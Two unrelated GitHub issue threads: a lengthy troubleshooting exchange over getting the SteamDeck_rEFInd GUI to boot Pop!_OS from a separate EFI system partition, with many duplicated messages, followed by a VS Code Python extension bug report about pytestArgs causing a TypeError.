gui does not boot linux

When using the GUI for this, I can make an entry for my 2nd Linux distro (no Windows installs, just Steam OS and another Linux distro) but it does not boot the other OS at all. There is a screen with a bit of text that shows up for a split second, but it's so fast no one could read it (text was white and yellow if that means anything) and returns to the rEFInd selection screen. Loading SteamOS works just fine, and manually boot the 2nd Linux install from the BIOS works just fine.
Linux distro I'm using is Pop!_OS 22.04

Are you selecting Pop!_OS from the Linux distro choice box when you perform the Create Config step? Can you do me a favor and let me know whether the EFI file on the /esp partition for Pop!_OS is grubx64.efi or shimx64.efi? The assumption for Pop!_OS is that the EFI files should be found in the /esp/EFI/ubuntu directory. Is this the case for your installation?

I am choosing Pop!_OS in the drop down box, and I do not have a /esp partition

How do you boot into SteamOS without an /esp partition? This is the first partition on the NVMe and is likely mounted in Pop!_OS as /boot/efi.

Ah I DO have /boot/efi in Pop!_OS
Where would the efi file be located at?

Ok... this makes sense now. The code is looking for it in ubuntu directory which does not seem correct. Can you run efibootmgr -v and let me know if the Pop!_OS EFI entry is using this vmlinuz.efi file? I may have to install Pop!_OS on a spare Steam Deck to see firsthand unless you can confirm a few things for me. The portion after Pop_OS looks to be a partition UUID. Can you confirm for me if this is the case, and if it's the partition UUID for your Pop!_OS root partition or not?

Ok... this makes sense now. The code is looking for it in the /boot/efi/EFI/ubuntu directory which does not seem correct. Can you run efibootmgr -v and let me know if the Pop!_OS EFI entry is using this vmlinuz.efi file? I may have to install Pop!_OS on a spare Steam Deck to see firsthand unless you can confirm a few things for me. The portion after Pop_OS looks to be a partition UUID. Can you confirm for me if this is the case, and if it's the partition UUID for your Pop!_OS root partition or not?

The Pop!_OS entry (for me boot0007) is using \EFI\systemd-bootx64.efi
How would I check the UUID of the partition? fstab?

Oh interesting. I guess I don't need that UUID information then. I have the information I need now. Are you able to compile the GUI code successfully? If so, I can update the lines of code from work and ask for you to recompile and check the fix. The edits are actually pretty easy on my end, but I am away from home right now.

Oh interesting. I guess I don't need that UUID information then. I have the information I need now. Are you able to compile the GUI code successfully? If so, I can update the lines of code from work and ask for you to recompile and check the fix. The edits are actually pretty easy on my end, but I am away from home right now.

I can certainly try!

Ok thanks for confirmation. Please give me a few minutes to make the change. In the meantime, boot into SteamOS desktop mode and delete the cloned GitHub folder and the /home/deck/.SteamDeck_rEFInd/ hidden folder.

The code has been updated, if you want to re-do the cloning and GUI compiling installation method. Please let me know how it goes.

The code has been updated, if you want to re-do the cloning and GUI compiling installation method. Please let me know how it goes.

All I need to do is the same instructions as on the README, right?

Yes. After deleting those two folders that I mentioned previously, perform these steps.
git clone https://github.com/jlobue10/SteamDeck_rEFInd/
cd SteamDeck_rEFInd
chmod +x install-GUI.sh
./install-GUI.sh

Then re-do the "Create Config" step with Linux and Pop!_OS selected, and then "install config." Then reboot and let me know if your issue is fixed or not. Thanks

Yes. After deleting those two folders that I mentioned previously, perform these steps.
git clone https://github.com/jlobue10/SteamDeck_rEFInd/
cd SteamDeck_rEFInd
chmod +x install-GUI.sh
./install-GUI.sh

Then re-do the "Create Config" step with Linux and Pop!_OS selected, and then "install config." Then reboot and let me know if your issue is fixed or not. Thanks

Its does not seem to be fixed, I'm having the exact same result as before sadly.

What does your /home/deck/.SteamDeck_rEFInd/GUI/refind.conf file look like? Do you mind pasting it here?

Here it is
# GUI generated refind.conf Config File
timeout 3
use_nvram false
hideui singleuser,hints,arrows,label,badges
banner background.png
banner_scale fillscreen
resolution 3
enable_touch
#enable_mouse
showtools
#scanfor manual,external
scanfor manual
default_selection "1"

menuentry "SteamOS" {
	icon /EFI/refind/os_icon1.png
	firmware_bootnum 0002
}

menuentry "Pop!_OS" {
	icon /EFI/refind/os_icon2.png
	loader /EFI/systemd-bootx64.efi
	graphics on
}

The code changed worked, but it's not working for you. I'll have to install Pop!_OS on a spare Steam Deck when I get a chance for further troubleshooting. This may take a bit more time to solve, until I am able to do that.
In the meantime, I think you can manually edit the refind.conf Pop!_OS part to look like this.
menuentry "Pop!_OS" {
	icon /EFI/refind/os_icon2.png
	firmware_bootnum 0007
}

This should work for you, based on what you told me earlier about your EFI entries. I still want to fix this issue more thoroughly though for future users.

The code changed worked, but it's not working for you. I'll have to install Pop!_OS on a spare Steam Deck when I get a chance for further troubleshooting. This may take a bit more time to solve, until I am able to do that.
In the meantime, I think you can manually edit the refind.conf Pop!_OS part to look like this.
menuentry "Pop!_OS" {
	icon /EFI/refind/os_icon2.png
	firmware_bootnum 0007
}

This should work for you, based on what you told me earlier about your EFI entries. I still want to fix this issue more thoroughly though for future users.

That actually STILL did not fix it, exact same issue. It's almost like rEFInd just refuses to admit that Pop!_OS is there

Wow! This is really interesting then. All of the things that I thought would work are not for some reason. Give me a bit more time to troubleshoot. I have a spare Steam Deck at home that I will need to install Pop!_OS on to get to the root of this problem in order to find a fix.

Wow! This is really interesting then. All of the things that I thought would work are not working for some reason. Give me a bit more time to troubleshoot. I have a spare Steam Deck at home that I will need to install Pop!_OS on to get to the root of this problem in order to find a fix.

Pop!_OS has 2 ISOs, one with Nvidia drivers and one without. I'm using the one without. (Last I checked the Steam Deck doesn't have an Nvidia GPU lol)

From Pop!_OS can you run sudo ls -alh /boot/efi/EFI? I want to see what folders and files are there for you. I wonder if the systemd-bootx64.efi file there is a symlink and rEFInd is maybe having a problem with that. If it is a symlink and we can find the file it's linking to in order to try to load that file directly, then that is also worth trying before more in depth troubleshooting efforts by me.

Or from SteamOS desktop mode.
sudo ls -alh /esp/EFI

From Pop!_OS can you run sudo ls -alh /boot/efi/EFI? I want to see what folders and files are there for you. I wonder if the systemd-bootx64.efi file there is a symlink and rEFInd is maybe having a problem with that. If it is a symlink and we can find the file it's linking to in order to try to load that file directly, then that is also worth trying before more in depth troubleshooting efforts by me.

In Pop this is my output
deck@pop-os:~$ sudo ls -alh /boot/efi/EFI
[sudo] password for deck:
total 24K
drwx------ 6 root root 4.0K Mar  2 11:23 .
drwx------ 5 root root 4.0K Dec 31  1969 ..
drwx------ 2 root root 4.0K Mar  2 11:23 BOOT
drwx------ 2 root root 4.0K Mar  2 11:23 Linux
drwx------ 2 root root 4.0K Mar  2 13:28 Pop_OS-6e248956-6690-4c3e-8d9a-3b7d9a675121
drwx------ 2 root root 4.0K Mar  2 11:23 systemd

Ok... more progress.
How about sudo ls -alh /boot/efi/EFI/systemd?

If the systemd-bootx64.efi file is in this systemd folder, then I think I know what to try next. Before I make another code change though, I'd like to see it (hopefully) work from a manual config file edit first.

If the systemd-bootx64.efi file is in this systemd folder, then I think I know what to try next. Before I make another code change though, I'd like to see it (hopefully) work from a manual config file edit first.

It does look like its in there
deck@pop-os:~$ sudo ls -alh /boot/efi/EFI/systemd
total 108K
drwx------ 2 root root 4.0K Mar  2 11:23 .
drwx------ 6 root root 4.0K Mar  2 11:23 ..
-rwx------ 1 root root  97K Sep 14 15:54 systemd-bootx64.efi

Ok. What does the output of sudo ls -alh /boot/efi look like to you? I'm hoping to see the steamos and refind folders there.

Ok. What does the output of sudo ls -alh /boot/efi look like to you? I'm hoping to see the steamos and refind folders there.

Still in pop and I don't see those
deck@pop-os:~$ sudo ls -alh /boot/efi
total 20K
drwx------ 5 root root 4.0K Dec 31  1969 .
drwxr-xr-x 3 root root 4.0K Mar  2 13:29 ..
drwx------ 2 root root 4.0K Mar  2 11:23 65a6f7ff1a79baf066214d896400db97
drwx------ 6 root root 4.0K Mar  2 11:23 EFI
drwx------ 3 root root 4.0K Mar  2 18:25 loader

Okay, so this is part of the problem then too... What do you see for these two commands? lsblk -f and mount
I suspect that you have two different EFI system partitions which is not preferred in many instances. Are both SteamOS and Pop!_OS installed on the internal NVMe, or is Pop!_OS installed on a Micro SD or USB attached drive?

Okay, so this is part of the problem then too... What do you see for these two commands? lsblk -f and mount
I suspect that you have two different EFI system partitions which is not preferred in many instances. Are both SteamOS and Pop!_OS installed on the internal NVMe, or is Pop!_OS installed on a Micro SD or USB attached drive?

 I see the issue more clearly now. Your Pop!_OS EFI system partition is different than your SteamOS EFI system partition (esp). Pop!_OS is using /dev/nvme0n1p10 as its EFI system partition and the default for the Steam Deck is /dev/nvme0n1p1. We will need to make some manual edits to the refind.conf file for it to work since the assumption with this code and GUI is that (with the exception of the SD card and USB drives) the EFI system partition is constant between the OSes. This is not the case for your installation and seems that it may be distinct to Pop!_OS and maybe a few other distros.

What is the output of this command for you from Pop!_OS?
hwinfo --block | grep /dev/nvme0n1p10 | grep -o 'by-partuuid.*' | cut -f2 -d'/' | cut -f1 -d ','

Yep... I see the issue more clearly now. Your Pop!_OS EFI system partition is different than your SteamOS EFI system partition (esp). Pop!_OS is using /dev/nvme0n1p10 as its EFI system partition and the default for the Steam Deck is /dev/nvme0n1p1. We will need to make some manual edits to the refind.conf file for it to work since the assumption with this code and GUI is that (with the exception of the SD card and USB drives) the EFI system partition is constant between the OSes. This is not the case for your installation and seems that it may be distinct to Pop!_OS and maybe a few other distros.

It may be my install, I couldn't get it to install without a new EFI partition but I might have just done it wrong

No, I think it's a Pop!_OS problem in requiring a larger minimum size EFI system partition than the Steam Deck comes with by default. It's not your fault as Ubuntu installs to the proper EFI system partition with no manual intervention.

Interesting, so what would need to be changed in this instance for Pop!_OS to work?

Tell me what this output is please.
hwinfo --block | grep /dev/nvme0n1p10 | grep -o 'by-partuuid.*' | cut -f2 -d'/' | cut -f1 -d ','

I see another potential issue that you should be aware of. Using the same mounted partition for /home and the same username deck between SteamOS and Pop!_OS could be problematic. I'd maybe use a different username in Pop!_OS than deck if you're going to share that /home folder mountpoint.

Tell me what this output is please.
hwinfo --block | grep /dev/nvme0n1p10 | grep -o 'by-partuuid.*' | cut -f2 -d'/' | cut -f1 -d ','

deck@pop-os:~$ hwinfo --block | grep /dev/nvme0n1p10 | grep -o 'by-partuuid.*' | cut -f2 -d'/' | cut -f1 -d ','
f71eb98f-a6dd-4064-908a-163f8cee698c

Okay, let's try a manual edit to the refind.conf file. Let's edit the Pop!_OS boot entry stanza to be like this.
menuentry "Pop!_OS" {
	icon /EFI/refind/os_icon2.png
        volume f71eb98f-a6dd-4064-908a-163f8cee698c
	loader /EFI/systemd/systemd-bootx64.efi
	graphics on
}

Hopefully this works. The missing pieces of information that I didn't have before were the full EFI file path (missing systemd dir in path) and the fact it's on a separate EFI system partition. The volume option should be pointing it to the proper EFI system partition now.

I see another potential issue that you should be aware of. Using the same mounted partition for /home and the same username deck between SteamOS and Pop!_OS could be problematic. I'd maybe use a different username in Pop!_OS than deck if you're going to share that /home folder mountpoint.

I didn't even think about that, I just wanted to share my flatpaks and /home files

Yeah, I just wanted to point it out. Config files could become problematic between the two... just worth pointing out. Maybe it's okay, but it COULD become a problem, if it's not already one.

Okay, let's try a manual edit to the refind.conf file. Let's edit the Pop!_OS boot entry stanza to be like this.
menuentry "Pop!_OS" {
	icon /EFI/refind/os_icon2.png
        volume f71eb98f-a6dd-4064-908a-163f8cee698c
	loader /EFI/systemd/systemd-bootx64.efi
	graphics on
}

Hopefully this works. The missing pieces of information that I didn't have before were the full EFI file path (missing systemd dir in path) and the fact it's on a separate EFI system partition. The volume option should be pointing it to the proper EFI system partition now.

Nothing changed, it's still not booting Pop and just flashing that bit of text so fast I can't read it

One last edit to try before I have to see this firsthand for further troubleshooting. Thanks for your patience. Let's try this.
menuentry "Pop!_OS" {
icon /EFI/refind/os_icon2.png
volume f71eb98f-a6dd-4064-908a-163f8cee698c
loader /EFI/Pop_OS-6e248956-6690-4c3e-8d9a-3b7d9a675121/vmlinuz.efi
graphics on
}

One last edit to try before I have to see this firsthand for further troubleshooting. Thanks for your patience. Let's try this.
menuentry "Pop!_OS" {
	icon /EFI/refind/os_icon2.png
        volume f71eb98f-a6dd-4064-908a-163f8cee698c
	loader /EFI/Pop_OS-6e248956-6690-4c3e-8d9a-3b7d9a675121/vmlinuz.efi
	graphics on
}

Do I need to reinstall the config files when I change these?

Yes. The previous edit might have worked then, if you didn't reinstall it. I'd try them both, if the first one doesn't work. The Install Config button is copying it to the proper place on the /esp partition.
Or you can just manually edit the proper destination's refind.conf file with sudo nano /esp/efi/refind/refind.conf from a SteamOS command line. The GUI 'Install Config' is easiest for most people though after editing the config with a GUI text editor.

Yes. The previous edit might have worked then, if you didn't reinstall it. I'd try them both, if the first one doesn't work. The Install Config button is copying it to the proper place on the /esp partition.
Or you can just manually edit the proper destination's refind.conf file with sudo nano /esp/efi/refind/refind.conf from a SteamOS command line. The GUI 'Install Config' is easiest for most people though after editing the config with a GUI text editor.

Ok well the first edit makes it so rEFInd ONLY shows Pop!_OS but I can't select it and when the timeout happens it boots SteamOS

What does your full refind.conf file look like?

What does your full refind.conf file look like?

# GUI generated refind.conf Config File
timeout 3
use_nvram false
hideui singleuser,hints,arrows,label,badges
banner background.png
banner_scale fillscreen
resolution 3
enable_touch
#enable_mouse
showtools
#scanfor manual,external
scanfor manual
default_selection "1"

menuentry "SteamOS" {
	icon /EFI/refind/os_icon1.png
	firmware_bootnum }

menuentry "Pop!_OS" {
	icon /EFI/refind/os_icon2.png
	volume f71eb98f-a6dd-4064-908a-163f8cee698c
	loader /EFI/systemd/systemd-bootx64.efi
	graphics on
}

Your SteamOS entry looks different than before. I think it should be this.
menuentry "SteamOS" {
	icon /EFI/refind/os_icon1.png
	firmware_bootnum 0002
}

I'd also increase the timeout to larger than 3 and remove the # from #enable_mouse to allow the right trackpad or a connected mouse to initiate the interrupt for OS selection. Feel free to change those back after we can confirm a working setup or not.

Your SteamOS entry looks different than before. I think it should be this.
menuentry "SteamOS" {
	icon /EFI/refind/os_icon1.png
	firmware_bootnum 0002
}

I'd also increase the timeout to larger than 3 and remove the # from #enable_mouse to allow the right trackpad or a connected mouse to initiate the interrupt for OS selection. Feel free to change those back after we can confirm a working setup or not.

THAT WAS IT! It works now!!!

Nice... phew!! I will add some stuff to the README about Pop!_OS specifically (separate EFI system partition complications) and point to this issue thread. Please close if you're happy with the solution. I take it that this set of lines worked.
volume f71eb98f-a6dd-4064-908a-163f8cee698c
	loader /EFI/systemd/systemd-bootx64.efi

Nice... phew!! I will add some stuff to the README about Pop!_OS specifically (separate EFI system partition complications) and point to this issue thread. Please close if you're happy with the solution. I take it that this set of lines worked.
        volume f71eb98f-a6dd-4064-908a-163f8cee698c
	loader /EFI/systemd/systemd-bootx64.efi

Yes that is the one that solved it. Would that work for every install or would that volume label need to be edited for each user?

Reopening, SteamOS now doesn't boot...

What is your efibootmgr output?

My guess is that rEFInd really dislikes two different EFI system partitions on the same hard drive. What is the output of

Closed on accident. Since you are using the firmware_bootnum option for SteamOS, if it changed from 0002 for some reason, that could explain the entry not working.

Closed on accident. Since you are using the firmware_bootnum option for SteamOS, if it changed from 0002 for some reason, that could explain the entry not working.

I just edited my message with more info

It's likely that rEFInd really doesn't like 2 different ESP partitions on the same hard drive with manual boot stanzas. What is the output of hwinfo --block | grep /dev/nvme0n1p1 | grep -o 'by-partuuid.*' | cut -f2 -d'/' | cut -f1 -d ','?

It's likely that rEFInd really doesn't like 2 different ESP partitions on the same hard drive with manual boot stanzas. What is the output of hwinfo --block | grep /dev/nvme0n1p1 | grep -o 'by-partuuid.*' | cut -f2 -d'/' | cut -f1 -d ','?

On Steam OS this time
27bd1145-0922-a94f-b256-8df6bd39e819
f71eb98f-a6dd-4064-908a-163f8cee698c

So the 27bd1145-0922-a94f-b256-8df6bd39e819 is for /dev/nvme0n1p1 (partition 1, SteamOS' esp partition)? If so, let's change the SteamOS entry to look like this.
menuentry "SteamOS" {
	icon /EFI/refind/icons/os_icon1.png
        volume 27bd1145-0922-a94f-b256-8df6bd39e819
	loader /EFI/steamos/steamcl.efi
	graphics on
}

Leave the Pop!_OS entry the same as before (and working).

So the 27bd1145-0922-a94f-b256-8df6bd39e819 is for /dev/nvme0n1p1 (partition 1, SteamOS' esp partition)? If so, let's change the SteamOS entry to look like this.
menuentry "SteamOS" {
	icon /EFI/refind/icons/os_icon1.png
        volume 27bd1145-0922-a94f-b256-8df6bd39e819
	loader /EFI/steamos/steamcl.efi
	graphics on
}

Leave the Pop!_OS entry the same as before (and working).

Pop is unedited and now doesn't boot

I'll have to install Pop!_OS at this point on my spare Steam Deck. I have a feeling copying some EFI files and folders from the Pop!_OS EFI system partition over to the SteamOS /esp partition may be what's required to get this working headache free. The 2 seaparate EFI system partitions on the same drive really seems to be a bootloader problem, no matter what we've tried so far. Please give me some time to work on this.

My attempt to boot into the Pop!_OS installer fails with the message switching to amdgpu from EFI VGA, and then it hangs. I'm assuming that you didn't encounter this issue. Did you make the image with Rufus?

I will need to try to create the image again using Balena Etcher, which is recommended on the Pop!_OS website.

That's a good point. I could try a different USB flash drive when I get home later. I haven't had this much difficulty trying to install a Linux distro in many years, so maybe I'd just prefer to investigate with your working setup. For now, if you're game to try, we can try to continue troubleshooting (with your setup). From Pop!_OS, can you tell me what the outputs of these are?
df -h /boot/efi/EFI/systemd
df -h /boot/efi/EFI/Pop_OS-6e248956-6690-4c3e-8d9a-3b7d9a675121
sudo ls -alh /boot/efi/EFI/BOOT
sudo ls -alh /boot/efi/EFI/Linux

I'm trying to learn more about what is stored on Pop!_OS' EFI system partition and how much space it takes up. If the df commands give an error, they may need to be run with sudo.

Here is those outputs
deck@pop-os:~$ sudo df -h /boot/efi/EFI/systemd
Filesystem       Size  Used Avail Use% Mounted on
/dev/nvme0n1p10  3.8G  268M  3.5G   8% /boot/efi

deck@pop-os:~$ sudo df -h /boot/efi/EFI/Pop_OS-6e248956-6690-4c3e-8d9a-3b7d9a675121
Filesystem       Size  Used Avail Use% Mounted on
/dev/nvme0n1p10  3.8G  268M  3.5G   8% /boot/efi

deck@pop-os:~$ sudo ls -alh /boot/efi/EFI/BOOT
total 108K
drwx------ 2 root root 4.0K Mar  2 11:23 .
drwx------ 6 root root 4.0K Mar  2 11:23 ..
-rwx------ 1 root root  97K Sep 14 15:54 BOOTX64.EFI

deck@pop-os:~$ sudo ls -alh /boot/efi/EFI/Linux
total 8.0K
drwx------ 2 root root 4.0K Mar  2 11:23 .
drwx------ 6 root root 4.0K Mar  2 11:23 ..

I'm wondering if recursively copying the systemd folder over to the SteamOS /esp partition would be sufficient to then load from there, or if more things would need to be copied.

One more please. What about this?
sudo ls -alh /boot/efi/EFI/Pop_OS-6e248956-6690-4c3e-8d9a-3b7d9a675121
I'm guessing kernel files and/ or the vmlinuz.efi file (that you mentioned earlier)  is in this directory.

Here ya go
deck@pop-os:~$ sudo ls -alh /boot/efi/EFI/Pop_OS-6e248956-6690-4c3e-8d9a-3b7d9a675121
total 267M
drwx------ 2 root root 4.0K Mar  2 13:28 .
drwx------ 6 root root 4.0K Mar  2 11:23 ..
-rwx------ 1 root root  167 Mar  2 13:29 cmdline
-rwx------ 1 root root 124M Mar  2 13:29 initrd.img
-rwx------ 1 root root 121M Mar  2 13:29 initrd.img-previous
-rwx------ 1 root root  12M Mar  2 13:29 vmlinuz.efi
-rwx------ 1 root root  12M Mar  2 13:29 vmlinuz-previous.efi

Yep, so there are the larger Kernel initrd files. Do you want to try copying just the systemd folder over to the SteamOS /esp partition and then editing the refind.conf file? I'm just trying things at this point, as this is not a standard installation (separate EFI  system partitions on same drive).

Yep, so there are the larger Kernel initrd files. Do you want to try copying just the systemd folder over to the SteamOS /esp partition and then editing the refind.conf file? I'm just trying things at this point, as this is not a standard installation (separate EFI  system partitions on same drive).

I can later, I'm at work atm but happened to be on my "laptop"

Okay sounds good. In the meantime, I will try to research more about Pop!_OS and dual boot with systemd-boot (not GRUB).

Another option that may be much simpler, would be to just change the scanfor manual line in the refind.conf file to scanfor internal. My GUI is leveraging the manual boot stanzas to control icon order and the overall look of rEFInd for most users. I'm considering removing Pop!_OS from the drop down menu as it does not seem to cooperate with the manual boot stanzas at all with its default configuration. Admittedly, I did not test every single one in the popular Linux distro dropdown list. It was basically just best effort to try to find the correct EFI file with the intention to support as issues arose. Pop!_OS unfortunately seems to be the outlier here with its default config using systemd-boot and a separate, larger EFI system partition. The separate EFI system partition here seems to be a big problem that I'm not sure there's a clean workaround or solution for in order to keep using the manual boot stanzas. The SteamOS EFI system partition is too small for what Pop!_OS is trying to add to that partition with systemd-boot, and if we copy the rEFInd and SteamOS EFI loaders over to the Pop!_OS EFI system partition, there's no guarantee that SteamOS will play nicely with this configuration.
The best option would probably be to have just one EFI system partition, but that does not seem possible right now with the SteamOS installer, unless you modify the re-image procedure for a larger EFI system partition. This could also potentially cause some problems with what SteamOS is currently expecting, as it is actually quite strict with the partition structure that it wants to see. This is actually a really annoying issue for something that should be "simpler."

Another option that may be much simpler, would be to just change the scanfor manual line in the refind.conf file to scanfor internal. My GUI is leveraging the manual boot stanzas to control icon order and the overall look of rEFInd for most users. I'm considering removing Pop!_OS from the drop down menu as it does not seem to cooperate with the manual boot stanzas at all with its default configuration. Admittedly, I did not test every single one in the popular Linux distro dropdown list. It was basically just best effort to try to find the correct EFI file with the intention to support as issues arose. Pop!_OS unfortunately seems to be the outlier here with its default config using systemd-boot and a separate, larger EFI system partition. The separate EFI system partition here seems to be a big problem that I'm not sure there's a clean workaround or solution for in order to keep using the manual boot stanzas. The SteamOS EFI system partition is too small for what Pop!_OS is trying to add to that partition with systemd-boot, and if we copy the rEFInd and SteamOS EFI loaders over to the Pop!_OS EFI system partition, there's no guarantee that SteamOS will play nicely with that configuration.
The best option would probably be to have just one EFI system partition, but that does not seem possible right now with the SteamOS installer, unless you modify the re-image procedure for a larger EFI system partition. This could also potentially cause some problems with what SteamOS is currently expecting, as it is actually quite strict with the partition structure that it wants to see. This is actually a really annoying issue for something that should be less complicated.

I'll try this first tomorrow morning (got busy tonight and ended up running out of time) and then if that doesn't work I say just scrap Pop!_OS... I don't want to be messing with the Steam OS install much just to make sure that stays working at all times. I'll either just stick to manually booting Pop or swap to something else like KDE Neon or Zorin OS

Let me know how it goes or what you decide. I think I will remove Pop!_OS from the drop down list because it is very unfriendly towards the default setup here. I don't want others to think it might work well if it's in the list. I tried another flash drive and I still had the same problem.
Another distro that can basically do all of the things you mentioned, aside from no COSMIC desktop environment is Kubuntu. I have multiple machines at home running Kubuntu, including my main Steam Deck (as an OS option). It's quite easy to get kernel 6.2.2 running with mainline, flatpaks are pretty straightforward, and it uses KDE Plasma instead of Gnome (which is why I use Kubuntu instead of Ubuntu -- don't like Gnome personally).

Another option that may be much simpler, would be to just change the scanfor manual line in the refind.conf file to scanfor internal. My GUI is leveraging the manual boot stanzas to control icon order and the overall look of rEFInd for most users. I'm considering removing Pop!_OS from the drop down menu as it does not seem to cooperate with the manual boot stanzas at all with its default configuration. Admittedly, I did not test every single one in the popular Linux distro dropdown list. It was basically just best effort to try to find the correct EFI file with the intention to support as issues arose. Pop!_OS unfortunately seems to be the outlier here with its default config using systemd-boot and a separate, larger EFI system partition. The separate EFI system partition here seems to be a big problem that I'm not sure there's a clean workaround or solution for in order to keep using the manual boot stanzas. The SteamOS EFI system partition is too small for what Pop!_OS is trying to add to that partition with systemd-boot, and if we copy the rEFInd and SteamOS EFI loaders over to the Pop!_OS EFI system partition, there's no guarantee that SteamOS will play nicely with that configuration.
The best option would probably be to have just one EFI system partition, but that does not seem possible right now with the SteamOS installer, unless you modify the re-image procedure for a larger EFI system partition. This could also potentially cause some problems with what SteamOS is currently expecting, as it is actually quite strict with the partition structure that it wants to see. This is actually a really annoying issue for something that should be less complicated.

So I did this, and it now shows 7 different entries with none of them using the icons I set (all either the rEFInd logo or the generic penguin icon for Linux). Only the 1st 2 options properly boot with no issues, and they both boot to Steam OS.
I may swap to Kubuntu down the line and do some stuff like manually removing snap and adding flatpak/flathub and stuff, or I might just deal with the BIOS menu to boot Pop!_OS. SteamOS is still my primary OS on here, I have Pop!_OS mostly for work stuff where I need some tools that aren't available as flatpaks

Yep, the scan for internal option basically abandons what my code is taking advantage of with the manual boot stanzas. I just wanted to know if it worked to boot Pop!_OS or not. I ended up removing Pop!_OS from the drop down. For an OS that is supposedly easy and user friendly, it's actually somewhat of a nightmare to set up on the Steam Deck for dual boot with its forced separate EFI system partition.
I have a lot of experience with Kubuntu, so I can help if you aren't able to Google an answer for any questions that come up. Some kernel versions do have issues at the moment, but hopefully a BIOS and firmware update down the line fix those so using mainline us straightforward and easy again. I think if you want to use 6.2.2 now with Kubuntu, you have to manually compile that kernel, which depending on your use case and experience, may or may not be worth it.

Yep, the scanfor internal option basically abandons what my code is taking advantage of with the manual boot stanzas. I just wanted to know if it worked to boot Pop!_OS or not. I ended up removing Pop!_OS from the drop down. For an OS that is supposedly easy and user friendly, it's actually somewhat of a nightmare to set up on the Steam Deck for dual boot with its forced separate EFI system partition.
I have a lot of experience with Kubuntu, so I can help if you aren't able to Google an answer for any questions that come up. Some kernel versions do have issues at the moment, but hopefully a BIOS and firmware update down the line fix those so using mainline us straightforward and easy again. I think if you want to use 6.2.2 now with Kubuntu, you have to manually compile that kernel, which depending on your use case and experience, may or may not be worth it.

It absolutely is easy and user friendly... If it isn't on a Steam Deck lol. I've used rEFInd in the past on my normal desktop with Pop!_OS and had no issues whatsoever, it just worked. The Steam Deck itself seems to be the main problem here, idk why though.

Agreed. The main problem as I see it is the SteamOS default EFI system partition is very small and inflexible (64MB). In the future, if the installer or re-image process allows increasing this to 512MB or even 1GB, then Pop!_OS dual boot should be revisited as a more friendly solution (with on EFI system partition that's shared). For now though, although it is still probably possible (we didn't exhaust all options), I don't think it is worth all of the extra effort to most users to try to get it working headache free. I couldn't even get the installer to pop up the GUI, but that may be due to a firmware issue with the latest BIOS on the Steam Deck and not strictly Pop!_OS.


Adding pytestArgs gives TypeError: Cannot read properties of null (reading 'testsuites')

Type: Bug

Behaviour
Expected vs. Actual
Running a pytest test with pytestArgs results in the error
Error while running tests: test_example
TypeError: Cannot read properties of null (reading 'testsuites')

After removing the pytestArgs from the settings.json, everything runs as expected.
Steps to reproduce:

Open a project with a pytest (i.e. https://github.com/philippun1/pytest-vscode-parameters which I created specifically to reproduce this bug)
Let VS Code create a settings.json (or use the one from my repo)
Add pytestArgs (or use the one from my repo), i.e.

"python.testing.pytestArgs": [
    ".",
    "--test_option",
    "somevalue"
  ],

Go to the testing tab and run the test
Test Results tab shows the type error
Run from the terminal instead gives no error: pytest . --test_option somevalue

Diagnostic data
This test report was made on an Ubuntu machine, but can also be reproduced on a Windows system with the latest VS Code and python extension.

Python version (& distribution if applicable, e.g. Anaconda): 3.11.2
Type of virtual environment used (e.g. conda, venv, virtualenv, etc.): Global
Value of the python.languageServer setting: Default

Output for Python in the Output panel (View→Output, change the drop-down the upper-right of the Output panel to Python)

[output is empty]

User Settings

languageServer: "Pylance"

testing
• pytestArgs: "<placeholder>"
• pytestEnabled: true

Extension version: 2023.6.1
VS Code version: Code 1.77.3 (704ed70d4fd1c6bd6342c436f1ede30d1cff4710, 2023-04-12T09:16:52.732Z)
OS version: Linux x64 6.2.0-20-generic
Modes:
Sandboxed: Yes

System Info

Item
Value

CPUs
Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz (8 x 2804)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: disabled_offdirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okskia_renderer: enabled_onvideo_decode: disabled_softwarevideo_encode: disabled_softwarevulkan: disabled_offwebgl: enabledwebgl2: enabledwebgpu: disabled_off

Load (avg)
1, 1, 1

Memory (System)
15.35GB (8.29GB free)

Process Argv
--unity-launch --crash-reporter-id 2d6dab3d-7a47-4211-935d-970af4709a92

Screen Reader
no

VM
0%

DESKTOP_SESSION
ubuntu

XDG_CURRENT_DESKTOP
Unity

XDG_SESSION_DESKTOP
ubuntu

XDG_SESSION_TYPE
wayland

A/B Experiments
vsliv368:30146709
vsreu685:30147344
python383:30185418
vspor879:30202332
vspor708:30202333
vspor363:30204092
vslsvsres303:30308271
vserr242cf:30382550
pythontb:30283811
vsjup518:30340749
pythonptprofiler:30281270
vshan820:30294714
vstes263cf:30335440
vscorecescf:30445987
pythondataviewer:30285071
vscod805:30301674
binariesv615:30325510
bridge0708:30335490
bridge0723:30353136
cmake_vspar411:30581797
vsaa593:30376534
pythonvs932:30410667
cppdebug:30492333
vsclangdc:30486549
c4g48928:30535728
dsvsc012:30540252
pynewext54:30695312
azure-dev_surveyone:30548225
3biah626:30602489
pyind779:30671433
f6dab269:30613381
vscrpc:30673769
pythonsymbol12:30671437
6233i204:30730053
vsctsb:30705553
azdwalk:30721579
pythonms35:30701012
pythonfmttextcf:30716743
pythonclientmvcf:30725893
fixshowwlkth:30730052

Hi! Yes I am able to replicate what you are seeing. It seems like the extension is trying to run ./.venv/bin/python -m pytest --rootdir . --override-ini junit_family=xunit1 --junit-xml=/var/folders/q8/17wzg0cx7p59c1qfvwxx8yhc0000gn/T/tmp-852821jmb8LyMYWVJ.xml --test_option which does not correctly include the "somevalue" parameter. This is likely due to the parsing we have on our current test design which is buggy. We are in the process of doing a testing rewrite which you can follow along with here. It is almost ready for release and I have already tested it with your use case and it works successfully. Please subscribe to the issue for updates and we will hopefully have more information soon!

Hello! We have just finished our testing rewrite and are beginning the roll out to users. If you are able, it would be very helpful to know if your issue still exists on the rewrite! To try it yourself, you need to be on the most recent release of the Python extension and add this setting to your users settings.json "python.experiments.optInto": ["pythonTestAdapter"]. Let me know if the rewrite fixes your issue. Thanks!

It appears there is no difference if I add the pythonTestAdapter setting or not. Tested both with the latest Python Plugin release (v2023.12.0) and preview release (v2023.13.11881007) with VS Code 1.80.0
Can I somehow verify if the new test adapter is being used?
I updated my test repo with the pythonTestAdapter setting and also some updates to the test itself to make analyzing easier.

